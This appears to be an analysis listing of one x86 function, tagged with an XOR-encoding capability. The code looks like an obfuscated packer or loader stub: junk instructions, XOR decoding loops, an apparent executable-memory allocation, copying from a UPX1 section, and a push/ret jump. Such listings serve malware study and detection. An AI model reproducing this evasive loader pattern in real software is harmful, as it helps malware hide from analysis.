Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xce05f16d
add edx, 0x20615860
mov eax, 0x7205567d
popal
mov edx, 0x85150fc9
not eax
mov esi, 0
mov edi, ecx
dec ebx
sub ebx, eax
not eax
mov edx, edi
or ebx, eax
dec eax
mov ecx, edx
sub eax, ebx
mov eax, ebx
sub ebx, 0xa92c5f96
inc esi
sub eax, ebx
mov eax, ebx
not ebx
cmp esi, 0x100dc18
jne 0xa789ca
add ebx, 0x62cb2a53
or ebx, ebx
mov ebx, 0xc4bcf48f
add eax, eax
add eax, eax
mov edx, 0xf1f873b7
mov edi, 0xa78796
or ecx, edx
or edx, edx
inc eax
mov esi, 0xa7898a
and eax, eax
dec eax
not eax
mov ebx, dword [edi]
sub ecx, eax
add ecx, eax
and ebx, 0xff
dec ecx
sub eax, ecx
add eax, 1
xor dword [esi], ebx
add edx, ecx
add edx, eax
add esi, 1
add edx, 0xab25d824
sub eax, ecx
add edx, eax
inc edi
sub edx, 0x8c0c7f5a
add eax, 1
cmp esi, entry0
jl 0xa78a1f
add edx, edx
not eax
and ecx, edx
or eax, edx
add eax, 0x210a312e
sub edi, ebx
inc ecx
mov edx, 0xa7898e
dec edi
or esi, esi
sub esi, ebx
mov edx, dword [edx]
dec edi
sub edi, ebx
mov edx, dword [edx]
mov edi, 0xd53aa0a6
mov edi, ecx
push edx
or esi, ecx
dec esi
mov edx, 0xa7898a
not esi
not ecx
mov esi, ecx
mov edx, dword [edx]
add ecx, 0x2adefdb7
add esi, 0xc6026a27
mov edx, dword [edx]
sub edi, 0xbdb55f87
or edi, ecx
sub ebx, 0x401a1c33
push 0xa78992
not esi
add esi, edi
call edx
mov edi, 0xb4c015e1
and ecx, edi
and ebx, edi
pop edx
and ebx, edi
and edi, edi
sub esp, 4
mov dword [esp], 0xa7899f
add edi, ecx
mov edi, esi
mov esi, ebx
push eax
or ecx, ebx
or ecx, edi
call edx
sub ebx, 0x8b11399d
and ecx, edi
push 0x40
add ebx, ecx
inc esi
mov edi, ecx
push 0x3000
or edi, edi
add edi, 0x5b08020d
push 0x20000296
sub ecx, esi
not esi
push 0
inc esi
add ebx, 1
call eax
not edi
inc edi
add ecx, 0x28de08a8
add eax, 0x20000204
mov ecx, ebx
and ebx, ecx
dec ebx
mov edx, 0xfac28476
not esi
add esi, 0xdf3db203
mov dword [eax], edx
mov edi, 0x3f0c4858
add ebx, ebx
mov edx, dword [eax]
mov ebx, 0xd33f3949
mov ebx, 0x32ee442f
cmp edx, 0xfac28476
je 0xa78b64
mov ebx, 0
mov eax, dword [ebx]
or ecx, edi
and ebx, esi
sub ecx, ebx
sub esi, 1
or eax, edx
not edx
inc eax
mov esi, section.UPX1
or edx, edx
not eax
mov edi, 0xa78795
not eax
sub eax, 0xa0ce5978
mov ebx, 0
add eax, 0xacc163de
sub edx, 0xb91452af
not eax
mov ecx, 0xa78796
sub eax, edx
or eax, eax
add edx, edx
lea ecx, [ecx + ebx]
mov edx, 0x1d7d704c
sub edx, 0xbe2e703f
or eax, edx
mov ecx, dword [ecx]
mov eax, 0xaf354474
add eax, 1
mov eax, edx
and ecx, 0xff
add edx, 1
or eax, eax
inc ebx
dec eax
add eax, 1
cmp ebx, 0x1f4
jne 0xa78beb
mov ebx, 0
dec eax
mov edx, eax
and eax, edx
add eax, edx
or edx, eax
xor dword [esi], ecx
mov edx, eax
and eax, edx
add esi, 2
add eax, 0x8262914c
and eax, edx
dec edx
cmp esi, edi
jl 0xa78b9e
inc eax
not eax
dec eax
inc eax
inc edx
mov eax, section.UPX1
and ecx, ecx
add esi, 0x148ccb0a
mov ebx, section.UPX1
mov esi, ecx
or esi, esi
mov edi, 0xa78795
sub esi, ecx
mov ecx, esi
mov edx, 0
sub esi, ecx
mov ecx, esi
add ecx, 1
mov dl, byte [ebx]
sub esi, ecx
or esi, esi
mov byte [eax], dl
sub esi, 0x4f3543a7
not esi
inc eax
add esi, 0x2809b4a3
or esi, ecx
add ebx, 2
dec ecx
mov esi, 0x4cd3668b
cmp ebx, edi
jle 0xa78c45
or ecx, esi
add ecx, 0x3fff8574
sub ecx, 0x7dff4740
sub eax, 0x2d0cbac3
add edx, eax
sub edx, eax
push 0x8dc6a0
or edx, edx
or eax, eax
ret